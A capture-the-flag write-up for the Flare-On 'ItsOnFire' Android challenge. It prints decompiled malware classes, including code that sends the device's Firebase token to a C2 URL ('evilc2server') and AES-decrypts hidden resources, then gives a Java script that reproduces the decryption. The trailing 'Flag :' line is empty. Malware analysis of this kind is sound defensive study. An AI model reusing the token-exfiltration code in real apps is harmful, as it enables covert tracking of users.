# Challenge #2 - ItsOnFire
### Description
The FLARE team is now enthusiastic about Google products and services but we suspect there is more to this Android game than meets the eye.
### Solution
In this case i tried to run the APK in my emulator with SDK version 33.
From image above, we can see that the APK is a game like space war. Decompiling the APK we will see some class inside com.secure.itsonfire package
Most of the class related to the game, but there is suspicious class named PostByWeb
{% code title="PostByWeb.java" %}
```java
package com.secure.itsonfire;
import android.util.Log;
import androidx.appcompat.R;
import androidx.compose.runtime.internal.StabilityInferred;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;
import org.jetbrains.annotations.Nullable;
@StabilityInferred(parameters = 0)
@Metadata(d1 = {"\u0000\u001e\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u0002\n\u0000\b\u0017\u0018\u00002\u00020\u0001B\u000f\u0012\b\u0010\u0002\u001a\u0004\u0018\u00010\u0003¢\u0006\u0002\u0010\u0004J\b\u0010\u0007\u001a\u00020\bH\u0002R\u0010\u0010\u0005\u001a\u0004\u0018\u00010\u0006X\u0082\u000e¢\u0006\u0002\n\u0000¨\u0006\t"}, d2 = {"Lcom/secure/itsonfire/PostByWeb;", "Ljava/lang/Thread;", "str", "", "(Ljava/lang/String;)V", "mUrl", "Ljava/net/URL;", "request", "", "app_release"}, k = 1, mv = {1, 6, 0}, xi = R.styleable.AppCompatTheme_checkboxStyle)
/* loaded from: classes.dex */
public class PostByWeb extends Thread {
public static final int $stable = 8;
@Nullable
private URL mUrl;
public PostByWeb(@Nullable String str) {
try {
this.mUrl = new URL(str);
} catch (MalformedURLException e2) {
e2.printStackTrace();
}
request();
}
private final void request() {
try {
URL url = this.mUrl;
Intrinsics.checkNotNull(url);
URLConnection openConnection = url.openConnection();
if (openConnection == null) {
throw new NullPointerException("null cannot be cast to non-null type java.net.HttpURLConnection");
}
HttpURLConnection httpURLConnection = (HttpURLConnection) openConnection;
httpURLConnection.setConnectTimeout(9000);
httpURLConnection.setDoInput(true);
httpURLConnection.setRequestMethod("GET");
httpURLConnection.connect();
if (httpURLConnection.getResponseCode() != 200) {
Log.e(MalwareInvadersActivity.class.getName(), Intrinsics.stringPlus("[-] Send Resp Code = ", Integer.valueOf(httpURLConnection.getResponseCode())));
}
} catch (IOException e2) {
e2.printStackTrace();
}
}
}
```
{% endcode %}
PostByWeb function send a request to HTTP server and when we trace the call of PostByWeb function we will see the class that called it which is MessageWorker
```java
package com.secure.itsonfire;
import android.app.ActivityManager;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.content.ComponentName;
import android.util.Log;
import androidx.appcompat.R;
import androidx.appcompat.widget.ActivityChooserModel;
import androidx.compose.runtime.internal.StabilityInferred;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import f.a;
import f.c;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;
import org.jetbrains.annotations.NotNull;
@StabilityInferred(parameters = 0)
@Metadata(d1 = {"\u0000 \n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\u0010\u0010\u0003\u001a\u00020\u00042\u0006\u0010\u0005\u001a\u00020\u0006H\u0016J\u0010\u0010\u0007\u001a\u00020\u00042\u0006\u0010\b\u001a\u00020\tH\u0016¨\u0006\n"}, d2 = {"Lcom/secure/itsonfire/MessageWorker;", "Lcom/google/firebase/messaging/FirebaseMessagingService;", "()V", "onMessageReceived", "", "remoteMessage", "Lcom/google/firebase/messaging/RemoteMessage;", "onNewToken", FirebaseMessagingService.EXTRA_TOKEN, "", "app_release"}, k = 1, mv = {1, 6, 0}, xi = R.styleable.AppCompatTheme_checkboxStyle)
/* loaded from: classes.dex */
public final class MessageWorker extends FirebaseMessagingService {
/* renamed from: j reason: collision with root package name */
public static final int f352j = 0;
@Override // com.google.firebase.messaging.FirebaseMessagingService
public void onMessageReceived(@NotNull RemoteMessage remoteMessage) {
Intrinsics.checkNotNullParameter(remoteMessage, "remoteMessage");
super.onMessageReceived(remoteMessage);
Object systemService = getSystemService(ActivityChooserModel.ATTRIBUTE_ACTIVITY);
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.app.ActivityManager");
}
ActivityManager activityManager = (ActivityManager) systemService;
List runningTasks = activityManager.getRunningTasks(100);
Intrinsics.checkNotNullExpressionValue(runningTasks, "runningTasks");
if (!runningTasks.isEmpty()) {
int size = runningTasks.size();
int i2 = 0;
while (i2 < size) {
int i3 = i2 + 1;
ActivityManager.RunningTaskInfo runningTaskInfo = runningTasks.get(i2);
ComponentName componentName = runningTaskInfo.topActivity;
Intrinsics.checkNotNull(componentName);
if (Intrinsics.areEqual(componentName.getPackageName(), a.f356b)) {
activityManager.moveTaskToFront(runningTaskInfo.taskId, 0);
}
i2 = i3;
}
}
String str = remoteMessage.getData().get(getString(R.string.key));
if (str != null) {
NotificationManager notificationManager = (NotificationManager) getSystemService("notification");
NotificationChannel notificationChannel = new NotificationChannel(getString(R.string.oc), getString(R.string.mc), 4);
notificationChannel.setDescription(getString(R.string.nc));
Intrinsics.checkNotNull(notificationManager);
notificationManager.createNotificationChannel(notificationChannel);
NotificationCompat.Builder builder = new NotificationCompat.Builder(this, getString(R.string.oc));
builder.setSmallIcon(17301595);
builder.setContentTitle(getString(R.string.title));
builder.setWhen(System.currentTimeMillis());
builder.setContentText(getString(R.string.bd));
builder.setAutoCancel(true);
builder.setFullScreenIntent(c.f362a.a(this, str), true);
startForeground(2102, builder.build());
}
}
@Override // com.google.firebase.messaging.FirebaseMessagingService
public void onNewToken(@NotNull String token) {
Intrinsics.checkNotNullParameter(token, "token");
Log.i("FCM Token Created", token);
ExecutorService newSingleThreadExecutor = Executors.newSingleThreadExecutor();
String str = getString(R.string.c2) + token;
Intrinsics.checkNotNullExpressionValue(str, "StringBuilder().apply(builderAction).toString()");
newSingleThreadExecutor.submit(new PostByWeb(str));
}
}
```
As we can see that PostByWeb parameter is String str = getString(R.string.c2) + token; . So next step is looking at R.string.c2 value on strings.xml
Most of the code are obfuscated but the string name on strings.xml are not. Searching for any suspicious string name on strings.xml i found below suspicious string
* R.string.alg = AES/CBC/PKCS5Padding
* R.string.key = my\_custom\_key
* R.string.iv = abcdefghijklmnop
Based on the string name, it looks like data requirement to implement encryption using AES CBC on java. Find the function that use those string i got below class
* R.string.alg -> f/b.java
* R.string.key -> com/secure/itsonfire/MessageWorker.java
* R.string.iv -> f/b.java
{% code title="f/b.java" %}
```java
package f;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.net.Uri;
import androidx.compose.runtime.internal.StabilityInferred;
import androidx.core.content.FileProvider;
import com.google.android.gms.common.GoogleApiAvailabilityLight;
import com.secure.itsonfire.R;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.util.zip.CRC32;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import kotlin.Metadata;
import kotlin.io.FilesKt__FileReadWriteKt;
import kotlin.jvm.internal.Intrinsics;
import kotlin.ranges.IntRange;
import kotlin.text.Charsets;
import kotlin.text.StringsKt___StringsKt;
import org.jetbrains.annotations.NotNull;
@StabilityInferred(parameters = 0)
@Metadata(bv = {}, d1 = {"\u0000L\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\u0010\u000e\n\u0000\n\u0002\u0010\u0012\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0003\n\u0002\u0010\t\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\b\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\u0004\bÇ\u0002\u0018\u00002\u00020\u0001B\t\b\u0002¢\u0006\u0004\b\u001a\u0010\u001bJ*\u0010\n\u001a\u00020\u00042\u0006\u0010\u0003\u001a\u00020\u00022\b\u0010\u0005\u001a\u0004\u0018\u00010\u00042\u0006\u0010\u0007\u001a\u00020\u00062\u0006\u0010\t\u001a\u00020\bH\u0002J\u0010\u0010\r\u001a\u00020\f2\u0006\u0010\u000b\u001a\u00020\u0004H\u0002J\u0010\u0010\u0010\u001a\u00020\u00022\u0006\u0010\u000f\u001a\u00020\u000eH\u0002J\u0018\u0010\u0014\u001a\u00020\u00132\u0006\u0010\u0012\u001a\u00020\u00112\u0006\u0010\u000f\u001a\u00020\u000eH\u0002J\u001a\u0010\u0017\u001a\u0004\u0018\u00010\u00042\u0006\u0010\u0016\u001a\u00020\u00152\u0006\u0010\u0012\u001a\u00020\u0011H\u0002J\u0016\u0010\u0019\u001a\u00020\u00182\u0006\u0010\u000f\u001a\u00020\u000e2\u0006\u0010\u0012\u001a\u00020\u0011¨\u0006\u001c"}, d2 = {"Lf/b;", "", "", "algorithm", "", "input", "Ljavax/crypto/spec/SecretKeySpec;", "key", "Ljavax/crypto/spec/IvParameterSpec;", "iv", "b", "value", "", "a", "Landroid/content/Context;", "context", GoogleApiAvailabilityLight.TRACKING_SOURCE_DIALOG, "", "resourceId", "Ljava/io/File;", "c", "Landroid/content/res/Resources;", "res", "e", "Landroid/content/Intent;", "f", "", "()V", "app_release"}, k = 1, mv = {1, 6, 0})
/* loaded from: classes.dex */
public final class b {
@NotNull
/* renamed from: a reason: collision with root package name */
public static final b f360a = new b();
/* renamed from: b reason: collision with root package name */
public static final int f361b = 0;
private b() {
}
private final long a(byte[] bArr) {
CRC32 crc32 = new CRC32();
crc32.update(bArr);
return crc32.getValue();
}
private final byte[] b(String str, byte[] bArr, SecretKeySpec secretKeySpec, IvParameterSpec ivParameterSpec) {
Cipher cipher = Cipher.getInstance(str);
cipher.init(2, secretKeySpec, ivParameterSpec);
byte[] doFinal = cipher.doFinal(bArr);
Intrinsics.checkNotNullExpressionValue(doFinal, "cipher.doFinal(input)");
return doFinal;
}
private final File c(int i2, Context context) {
Resources resources = context.getResources();
Intrinsics.checkNotNullExpressionValue(resources, "context.resources");
byte[] e2 = e(resources, i2);
String d2 = d(context);
Charset charset = Charsets.UTF_8;
byte[] bytes = d2.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, context.getString(R.string.ag));
String string = context.getString(R.string.alg);
Intrinsics.checkNotNullExpressionValue(string, "context.getString(R.string.alg)");
String string2 = context.getString(R.string.iv);
Intrinsics.checkNotNullExpressionValue(string2, "context.getString(\n … R.string.iv)");
byte[] bytes2 = string2.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(bytes2, "this as java.lang.String).getBytes(charset)");
byte[] b2 = b(string, e2, secretKeySpec, new IvParameterSpec(bytes2));
File file = new File( context.getCacheDir(), context.getString(R.string.playerdata));
FilesKt__FileReadWriteKt.writeBytes(file, b2);
return file;
}
private final String d(Context context) {
String slice;
String string = context.getString(R.string.c2);
Intrinsics.checkNotNullExpressionValue(string, "context.getString(R.string.c2)");
String string2 = context.getString(R.string.w1);
Intrinsics.checkNotNullExpressionValue(string2, "context.getString(R.string.w1)");
StringBuilder sb = new StringBuilder();
sb.append(string.subSequence(4, 10));
sb.append(string2.subSequence(2, 5));
String sb2 = sb.toString();
Intrinsics.checkNotNullExpressionValue(sb2, "StringBuilder().apply(builderAction).toString()");
byte[] bytes = sb2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
long a2 = a(bytes);
StringBuilder sb3 = new StringBuilder();
sb3.append(a2);
sb3.append(a2);
String sb4 = sb3.toString();
Intrinsics.checkNotNullExpressionValue(sb4, "StringBuilder().apply(builderAction).toString()");
slice = StringsKt___StringsKt.slice(sb4, new IntRange(0, 15));
return slice;
}
/* JADX WARN: Multi-variable type inference failed */
/* JADX WARN: Type inference failed for: r2v0, types: [android.content.res.Resources] */
/* JADX WARN: Type inference failed for: r2v2 */
/* JADX WARN: Type inference failed for: r2v4, types: [java.lang.Object, java.io.InputStream] */
/* JADX WARN: Type inference failed for: r2v6 */
/* JADX WARN: Type inference failed for: r2v8, types: [java.lang.Throwable, java.io.IOException] */
private final byte[] e(Resources e2, int i2) {
Throwable th;
InputStream inputStream;
try {
try {
inputStream = e2.openRawResource(i2);
} catch (IOException e3) {
e = e3;
inputStream = null;
} catch (Throwable th2) {
e2 = 0;
th = th2;
try {
Intrinsics.checkNotNull(e2);
e2.close();
} catch (IOException e4) {
e4.printStackTrace();
}
throw th;
}
try {
byte[] bArr = new byte[inputStream.available()];
inputStream.read(bArr);
try {
Intrinsics.checkNotNull(inputStream);
inputStream.close();
} catch (IOException e5) {
e5.printStackTrace();
}
return bArr;
} catch (IOException e6) {
e = e6;
e.printStackTrace();
try {
Intrinsics.checkNotNull(inputStream);
inputStream.close();
return null;
} catch (IOException e7) {
e2 = e7;
e2.printStackTrace();
return null;
}
}
} catch (Throwable th3) {
th = th3;
Intrinsics.checkNotNull(e2);
e2.close();
throw th;
}
}
@NotNull
public final Intent f(@NotNull Context context, int i2) {
Intrinsics.checkNotNullParameter(context, "context");
Uri uriForFile = FileProvider.getUriForFile(context, Intrinsics.stringPlus(context.getApplicationContext().getPackageName(), context.getString(R.string.prdr)), c(i2, context));
Intent intent = new Intent(context.getString(R.string.aias));
intent.addFlags(32768);
intent.addFlags(268435456);
intent.addFlags(1);
intent.setType(context.getString(R.string.mime));
intent.putExtra(context.getString(R.string.es), uriForFile);
return intent;
}
}
```
{% endcode %}
Take a look on f/b.java, it looks like function that decrypt resource available on APK. Below is the flow
* function f.b.c
* f.b.e -> open resource
* f.b.d -> get string value
* f.b.b -> do AES CBC decryption
* Write decrypted data to file
In this case, without doing dynamic analysis we can get all values needed to do decryption including the encrypted files.
* Algorithm = R.string.alg
* Key = d(context)
* Processed value from R.string.c2 and R.string.w1
* IV = R.string.iv
* Encrypted files
* it call [openRawResource](https://developer.android.com/guide/topics/resources/providing-resources) , so the location of raw file located in res/raw
*
```
```
So, the final step is rewriting the decrypt function in Java then decrypt the raw resource.
```java
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.util.zip.CRC32;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
class Coba{
public static long a(byte[] bArr) {
CRC32 crc32 = new CRC32();
crc32.update(bArr);
return crc32.getValue();
}
private static void writeBytesToFile(String fileOutput, byte[] bytes)
throws IOException {
try (FileOutputStream fos = new FileOutputStream(fileOutput)) {
fos.write(bytes);
}
}
public static void main(String[] args) {
try{
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
String slice;
String string = "https://flare-on.com/evilc2server/report_token/report_token.php?token=";
String string2 = "wednesday";
StringBuilder sb = new StringBuilder();
sb.append(string.subSequence(4, 10));
sb.append(string2.subSequence(2, 5));
String sb2 = sb.toString();
byte[] bytes = sb2.getBytes(Charset.forName("UTF-8"));
long a2 = a(bytes);
StringBuilder sb3 = new StringBuilder();
sb3.append(a2);
sb3.append(a2);
String sb4 = sb3.toString();
slice = sb4.substring(0,16);
byte[] bytes2 = slice.getBytes(Charset.forName("UTF-8"));
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes2, "AES");
String stringIv = "abcdefghijklmnop";
byte[] bytes3 = stringIv.getBytes(Charset.forName("UTF-8"));
IvParameterSpec iv = new IvParameterSpec(bytes3);
cipher.init(2, secretKeySpec, iv);
InputStream input = new FileInputStream("iv.png");
byte[] bArr = new byte[input.available()];
input.read(bArr);
byte[] doFinal = cipher.doFinal(bArr);
writeBytesToFile("test.png", doFinal);
}
catch(Exception e){
System.out.println(e);
}
}
}
```
Flag :